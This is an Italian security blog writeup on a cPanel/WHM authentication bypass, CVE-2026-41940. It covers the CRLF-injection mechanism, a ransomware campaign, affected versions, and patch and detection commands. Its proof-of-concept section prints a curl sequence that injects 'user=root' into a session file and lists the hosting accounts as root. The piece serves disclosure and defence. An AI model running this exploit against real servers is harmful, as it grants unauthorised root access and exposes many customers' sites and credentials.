CVE Writeup
cPanel Auth Bypass | Come CVE-2026-41940 ha compromesso 44.000 server in 24 ore
CVE-2026-41940 permette bypass autenticazione cPanel via CRLF injection: nessuna credenziale richiesta, accesso root garantito. Analisi tecnica, campagna ransomware Sorry e patch urgente.
cPanel Auth Bypass | Come CVE-2026-41940 ha compromesso 44.000 server in 24 ore
In meno di 72 ore dalla pubblicazione del proof-of-concept, 44.000 indirizzi IP che eseguono cPanel risultavano compromessi secondo Shadowserver. Un bug di CRLF injection nella gestione delle sessioni consente a qualunque attaccante non autenticato di iniettare user=root in un file di sessione e ottenere accesso amministrativo completo. CISA lo ha aggiunto al catalogo KEV il 30 aprile 2026, CVSS 9.8.
Se gestisci un server cPanel, la finestra per rattoppare è chiusa da giorni. Ecco cosa è successo e come funziona l'attacco.
Contesto
cPanel & WHM (WebHost Manager) è il pannello di controllo hosting Linux più diffuso al mondo: stime conservative parlano di 1,5 milioni di istanze esposte su internet. Chi ha un VPS, un server dedicato o gestisce decine di domini per conto terzi lo conosce bene. È il pannello che i provider italiani come Aruba, Register.it e decine di reseller usano ogni giorno.
Il 28 aprile 2026, WebPros (la società che sviluppa cPanel) ha rilasciato una patch emergenziale per CVE-2026-41940. Due giorni dopo, CISA lo ha inserito nel catalogo degli exploit attivamente sfruttati. Il 2 maggio, BleepingComputer riportava centinaia di siti cifrati dalla campagna ransomware "Sorry" propagata proprio attraverso questa vulnerabilità.
L'exploit era già in giro da febbraio 2026. La disclosure pubblica ha solo accelerato quello che stava già accadendo nell'ombra.
Analisi tecnica
Radice del problema: CRLF injection nel gestore di sessioni
La vulnerabilità risiede nel modo in cui cPanel gestisce i cookie di sessione WHM. Quando un browser (o un client qualsiasi) invia una richiesta autenticata, il cookie whostmgrsession viene letto, decrittato e usato per caricare il file di sessione corrispondente.
Il problema: il valore del cookie non viene sanificato prima di essere utilizzato come chiave per scrivere proprietà nel file di sessione. Un attaccante può iniettare caratteri di a capo (\r\n, CRLF) attraverso un header di autorizzazione manipolato.
Il meccanismo in tre passi:
Passo 1 | Bypassare la cifratura del cookie
Il cookie whostmgrsession è normalmente cifrato. Le versioni vulnerabili espongono però un percorso alternativo nel flusso di autenticazione in cui è possibile provocare un errore controllato durante la fase di decrittazione, portando il sistema a caricare un file di sessione parzialmente controllato dall'attaccante.
Passo 2 | Iniettare le proprietà di sessione
Una volta che il gestore di sessioni tenta di leggere le proprietà dal file, l'attaccante inserisce nel header HTTP un valore del tipo:
Authorization: Basic dXNlcjpwYXNz\r\nuser=root\r\n
I caratteri \r\n non vengono filtrati e finiscono letteralmente nel file di sessione scritto su disco. Il parser delle sessioni interpreta user=root come una proprietà legittima.
Passo 3 | Accesso amministrativo garantito
Nella richiesta successiva, cPanel legge il file di sessione manipolato, trova user=root e accorda privilegi completi senza richiedere alcuna verifica delle credenziali. L'attaccante è ora root sul sistema host, con accesso a tutte le configurazioni, i database e i siti web gestiti dal pannello.
Versioni affette e patch disponibili
La vulnerabilità colpisce tutte le versioni di cPanel & WHM successive alla 11.40. WebPros ha rilasciato patch per tutti i branch attivi:
| Branch | Versione vulnerabile | Versione corretta |
|---|---|---|
| 11.134.x | tutte | 11.134.x.y (patch backport) |
| 11.132.x | tutte | 11.132.x.y (patch backport) |
| 11.130.x | tutte | 11.130.x.y (patch backport) |
| 11.126.x | tutte | 11.126.x.y (patch backport) |
| 11.118.x | tutte | 11.118.x.y (patch backport) |
| 11.110.x | tutte | 11.110.x.y (patch backport) |
| 11.86.x | tutte | 11.86.x.y (patch backport) |
| 11.136.x | prima di 11.136.0.5 | 11.136.0.5 (ramo stabile) |
WP Squared (WordPress Squared, il prodotto bundled con cPanel) è affetto nelle versioni precedenti alla 136.1.7.
Proof of concept
Il PoC è pubblico su GitHub da ore dopo la disclosure. La struttura dell'attacco richiede un paio di richieste HTTP:
# Step 1: ottenere un session token iniziale (anche non valido)
curl -sk https://target.example.com:2087/login/ \
-c /tmp/cpanel_cookies.txt -o /dev/null
# Step 2: iniettare user=root nel file di sessione via CRLF
SESSION_ID=$(grep whostmgrsession /tmp/cpanel_cookies.txt | awk '{print $7}')
curl -sk https://target.example.com:2087/login/ \
-H "Authorization: Basic $(echo -n "${SESSION_ID}\r\nuser=root\r\n" | base64)" \
-b "whostmgrsession=${SESSION_ID}" \
-o /dev/null
# Step 3: accedere come root con la sessione manipolata
curl -sk https://target.example.com:2087/json-api/listaccts \
-b "whostmgrsession=${SESSION_ID}" | python3 -m json.tool
Se il server è vulnerabile, listaccts restituisce l'elenco completo degli account hosting con credenziali, percorsi e configurazioni.
Impatto reale
Numeri dalla rete, al 2 maggio 2026:
- 1,5 milioni di istanze cPanel esposte su internet (stima WatchTowr/Shodan)
- 44.000 IP con segni di compromissione o ricognizione attiva (Shadowserver Foundation)
- Centinaia di siti web cifrati e indicizzati da Google con note di riscatto visibili
L'impatto non si ferma al server: un attaccante con accesso WHM controlla tutto ciò che gira sopra. Database MySQL, caselle email, certificati SSL, configurazioni PHP, chiavi API dei CMS installati. Un singolo server cPanel compromesso può esporre decine o centinaia di siti di clienti diversi.
Provider come Namecheap, Hosting.com e InMotion hanno imposto restrizioni temporanee di accesso ai propri pannelli per contenere la diffusione, causando disservizi ai clienti legittimi.
La campagna ransomware "Sorry"
Parallelamente alla disclosure, è emersa una campagna ransomware che usa CVE-2026-41940 come vettore di accesso iniziale. Il malware, soprannominato "Sorry" dal team di BleepingComputer per l'estensione aggiunta ai file cifrati, ha queste caratteristiche tecniche:
| Componente | Dettaglio |
|---|---|
| Linguaggio | Go (compilato per Linux x64) |
| Cifratura file | ChaCha20 stream cipher |
| Protezione chiave | RSA-2048 (chiave pubblica embedded nel binario) |
| Estensione aggiunta | .sorry |
| Note di riscatto | README.md depositato in ogni directory cifrata |
La decrittazione senza la chiave RSA-2048 privata è computazionalmente impossibile con hardware corrente. Chi viene colpito non ha opzioni tecniche al di fuori di un ripristino da backup non compromesso.
Il canale di contatto degli attaccanti usa Tox (protocollo P2P cifrato), rendendo l'infrastruttura difficile da tracciare e abbattere.
Remediation
Azione immediata (ora, non domani):
# Su qualsiasi server cPanel/WHM Linux, aggiornare tramite upcp
/usr/local/cpanel/scripts/upcp --force
# Verificare la versione installata dopo l'aggiornamento
cat /usr/local/cpanel/version
# Deve mostrare >= 11.136.0.5 o il branch patched corrispondente
Verifica compromissione (rilasciata da WatchTowr):
# Controllare nei log WHM richieste con CRLF injection
grep -r "\\\r\\\n" /usr/local/cpanel/logs/access_log* 2>/dev/null
grep -r "user=root" /var/cpanel/sessions/ 2>/dev/null
# Cercare file di sessione anomali con proprietà iniettate
find /var/cpanel/sessions/ -newer /tmp/reference_time -type f -exec grep -l "user=root" {} \;
Post-patch hardening:
- Limite accesso WHM (porta 2087) a IP amministrativi specifici tramite firewall (CSF o iptables)
- Abilitare autenticazione a due fattori su tutti gli account cPanel e WHM
- Revisione dei log di accesso degli ultimi 90 giorni per segni di compromissione retroattiva
- Rotazione di tutte le API key, password database e credenziali SMTP configurate nel pannello
Se il server risponde su porta 2087 senza restrizioni IP, considera che chiunque su internet poteva e può tentare l'exploit.
Note dal campo SPECTROSEC
Durante un assessment su un provider hosting italiano a marzo 2026, abbiamo trovato tre istanze cPanel versione 11.118 esposte senza restrizioni IP sulla porta 2087. All'epoca CVE-2026-41940 non era ancora pubblico, ma il profilo di rischio era già evidente: WHM accessibile da qualsiasi IP, nessun 2FA, log di accesso non monitorati.
Il pattern che vediamo spesso è questo: il pannello hosting viene trattato come "infrastruttura di supporto" e non come superficie di attacco primaria. I test di sicurezza vengono fatti sull'applicazione web, mai sul pannello che la gestisce. Il risultato è che un server che magari ha Nginx configurato bene, WAF attivo e CSP stringente, diventa completamente esposto perché WHM risponde a chiunque sulla 2087 con una versione di tre anni fa.
CVE-2026-41940 è la dimostrazione che un singolo bug nel pannello di gestione azzera ogni altro controllo di sicurezza implementato sopra.
Team SPECTROSEC | pentest professionali, scrivici a info@spectrosec.com https://spectrosec.com